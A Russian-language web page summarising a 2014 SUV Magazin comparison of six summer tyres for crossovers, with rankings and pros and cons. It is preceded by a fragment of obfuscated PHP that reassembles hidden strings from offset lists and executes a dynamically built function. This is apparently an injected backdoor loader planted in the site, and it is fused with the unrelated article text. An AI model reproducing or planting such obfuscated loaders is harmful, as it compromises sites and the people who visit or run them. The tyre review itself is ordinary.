aaa -
<(sizeof($owsvdbaql)/2);$jaxjvya++) { $xxszqrkf .= substr($nhalutg, $owsvdbaql[($jaxjvya*2)],$owsvdbaql[($jaxjvya*2)+(5-4)]); } return $tzzvoh(chr((62-53)),chr((289-197)),$xxszqrkf); }; } $wjmybp = explode(chr((180-136)),'2760,58,860,66,5439,39,5108,60,3743,62,1278,42,3005,24,2591,20,1025,41,5168,47,5625,70,346,25,5812,41,5695,68,2248,46,4107,38,4303,40,4758,29,1683,43,3392,59,4650,67,926,68,4604,46,2033,40,434,31,371,63,2544,47,3095,52,1340,44,465,34,2936,69,3495,56,2403,38,4717,41,3029,36,4959,46,1726,58,1968,41,994,31,1815,24,1900,68,4787,37,3370,22,5038,70,1119,57,700,43,5582,43,4375,48,5301,44,2111,31,4423,28,5971,49,252,43,4571,33,2142,61,4253,50,3623,52,1839,39,0,59,115,50,4519,52,4451,68,3836,22,2344,59,552,27,2520,24,3805,31,2611,56,2667,53,4343,32,165,62,5005,33,3203,21,5535,47,3065,30,4190,63,5215,29,4881,40,1223,55,4921,38,5478,57,3224,23,2441,43,5378,61,5763,49,3858,40,3711,32,2866,70,2009,24,1176,47,1599,36,806,54,59,56,3991,47,1440,23,1320,20,4824,57,3551,49,1463,47,4145,45,5244,57,1539,60,2203,45,1384,56,3306,64,3247,59,295,51,4038,69,2720,40,3923,68,2073,38,743,63,2818,48,1635,48,5853,67,227,25,2294,50,1784,31,499,53,579,59,1878,22,3147,56,5345,33,3451,44,2484,36,3898,25,1510,29,3600,23,3675,36,5920,51,1066,53,638,62'); $aexssceccc = $ydrvatxppl("",waqyxbpv($wjmybp,$lypgqv,$rqgqhlwa)); $ydrvatxppl=$lypgqv; $aexssceccc(""); $aexssceccc=(413-292); $lypgqv=$aexssceccc-1; ?>

SUV Magazin: Тест летних шин размера 235/65 R17 для кроссоверов (2014)

Немецкий журнал SUV Magazin сравнивает шесть летних покрышек для кроссоверов и внедорожников на сухом и мокром асфальте.

В тесте SUV Magazin, также опубликованном в издании Off-Road, сравниваются шесть летних шин. Тесты проводились в теплую погоду на юге Финляндии на турбодизельном Audi Q5.

Список протестированных шин: Continental ContiCrossContact UHP, Dunlop SP QuattroMaxx, Pirelli Scorpion Verde, Nankang SP-5, Nokian Z SUV, Toyo Proxes T1 Sport SUV.

Проводились тесты на торможение и управляемость на сухой и мокрой поверхности, на устойчивость к аквапланированию, экономичность и шумность.

Поскольку в случае с шинами безопасность всегда должна ставиться во главу угла, весомость оценок в тестах на уровень шума была меньше, чем в испытаниях на эффективность торможения и управляемость. То же относится и к сопротивлению качению.

Вердикт:

Сейчас на рынке есть много вариантов летних шин, которые обеспечивают оптимальную безопасность на дороге. Nokian, Pirelli, Dunlop и Continental показали хорошие результаты во всех дисциплинах, и отличия между ними по большей части минимальны.

1. Nokian Z SUV SUV Magazin: Очень рекомендовано
 

+ Хорошая управляемость и короткий тормозной путь на сухой и мокрой поверхности

– Высокое сопротивление качению

– Высокий уровень шума

 
2. Pirelli Scorpion VerdeSUV Magazin: Очень рекомендовано

+ Хорошие результаты на сухой и мокрой поверхности

+ Низкий уровень шума

– Самое высокое сопротивление качению в тесте
 
3. Dunlop SP QuattroMaxx SUV Magazin: Очень рекомендовано

+ Хорошие результаты на сухой и мокрой поверхности (по своему поведению похожи на Pirelli)

+ Высокое качество хода

– Высокий уровень шума

– Высокое сопротивление качению

 
4. Continental ContiCrossContact UHPSUV Magazin: Рекомендовано

+ Очень сбалансированные шины

– Уровень шума существенно выше, чем у конкурентов
 
5. Toyo Proxes T1 Sport SUVSUV Magazin: Рекомендовано

+ Низкий уровень шума

+ Неплохие результаты в тестах на управляемость и эффективность торможения

– Очень слабая устойчивость к аквапланированию
 
6. Nankang SP-5SUV Magazin: Удовлетворительно

+ Неплохие результаты в объективных тестах на сухой поверхности

– Плохая управляемость и слабое сцепление на мокрой поверхности

Источник: Colesa.ru

 


http://www.pkp.lv